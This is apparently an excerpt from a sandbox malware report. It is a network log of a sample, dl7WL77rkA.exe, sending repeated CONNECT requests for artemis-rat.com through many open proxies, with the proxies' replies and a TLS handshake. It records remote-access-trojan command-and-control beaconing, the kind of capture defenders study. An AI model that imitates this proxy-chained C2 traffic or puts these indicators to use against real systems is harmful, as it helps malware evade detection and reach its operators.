Mar 11, 2024 03:30:39.092463970 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
332	192.168.2.5	50777	79.101.55.161	53281	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.933480024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.623655081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.623701096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.702356100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
333	192.168.2.5	50938	104.25.167.88	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.935653925 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.089925051 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
334	192.168.2.5	50921	107.180.101.226	35316	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.935656071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
335	192.168.2.5	50879	23.152.40.14	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.935722113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:32:39.168452024 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:39.843703985 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:40.516115904 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:41.863364935 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:44.743750095 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:50.115781069 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:33:00.871052027 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:33:22.371907949 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
336	192.168.2.5	50881	38.162.28.218	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.936075926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.372890949 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
337	192.168.2.5	50955	172.67.182.145	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.943427086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.098802090 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
338	192.168.2.5	50815	121.41.66.242	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.965590000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.295854092 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
339	192.168.2.5	50977	172.67.150.173	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.966319084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.124236107 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
340	192.168.2.5	50967	172.67.181.17	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.968657970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.127374887 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
341	192.168.2.5	50958	104.17.16.87	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.968660116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.126929998 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
342	192.168.2.5	50800	171.247.244.103	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.969238997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
343	192.168.2.5	50940	12.186.205.121	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.969985008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
344	192.168.2.5	50849	195.25.20.108	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.972460985 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.289763927 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
345	192.168.2.5	50818	103.23.101.97	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.979985952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
346	192.168.2.5	50816	43.128.107.251	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.984745026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.335746050 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
347	192.168.2.5	51185	41.86.252.91	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.989115953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
348	192.168.2.5	51189	41.86.252.91	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.990921974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
349	192.168.2.5	50114	203.96.177.211	55005	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.993762970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.092549086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
350	192.168.2.5	50992	104.25.81.82	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.996726036 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.157180071 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
351	192.168.2.5	50947	38.162.5.223	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.001975060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.427506924 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
352	192.168.2.5	51016	172.67.206.105	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.006752014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.163444042 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
353	192.168.2.5	50889	52.196.1.182	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.014061928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.277811050 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:39 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 03:30:39.279231071 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ee 6c ce 07 ea 50 af 38 7e ee 91 0a a5 4c 33 75 ad 29 c8 02 53 79 40 86 ac 7e ca 17 23 20 37 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: elP8~L3u)Sy@~# 7*,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 03:30:39.546186924 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 7a 67 27 be 40 41 7c 94 c5 3c 34 db 76 94 9d 34 59 1a 02 cb 3f eb c6 04 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9zg'@A\|<4v4Y?DOWNGRD0000H010Uartemis-rat.com0240311021335Z260311021335Z010Uartemis-rat.com0"0H0K
Mar 11, 2024 03:30:39.570149899 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 3e 40 23 64 21 2e 3c 9d 41 33 a8 9d cf 93 0e 30 2f 64 22 bf 0b a6 7d 0f ba 15 75 d7 00 63 2c 0b 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 51 7d c4 28 3a 6c 64 cf cf d7 f2 f5 6b 94 51 85 2e 8c ae 62 97 Data Ascii: %! >@#d!.<A30/d"}uc,(Q}(:ldkQ.bh<_Q4
Mar 11, 2024 03:30:39.850482941 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 73 92 44 9b a3 1c a1 b2 f0 7a 97 5d 6a ce 0e ae f8 53 61 05 8e 55 fc 36 1a 63 74 e4 55 6f 60 4f 44 9f 5e 3a de 46 8c 4b Data Ascii: (sDz]jSaU6ctUo`OD^:FK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
354	192.168.2.5	50840	45.11.95.165	5003	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.014919043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.506150961 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
355	192.168.2.5	50899	68.1.210.163	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.016108036 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
356	192.168.2.5	50898	184.181.217.220	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.016109943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
357	192.168.2.5	50875	103.197.71.7	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.021948099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
358	192.168.2.5	50873	8.213.128.90	444	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.029680967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.366126060 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
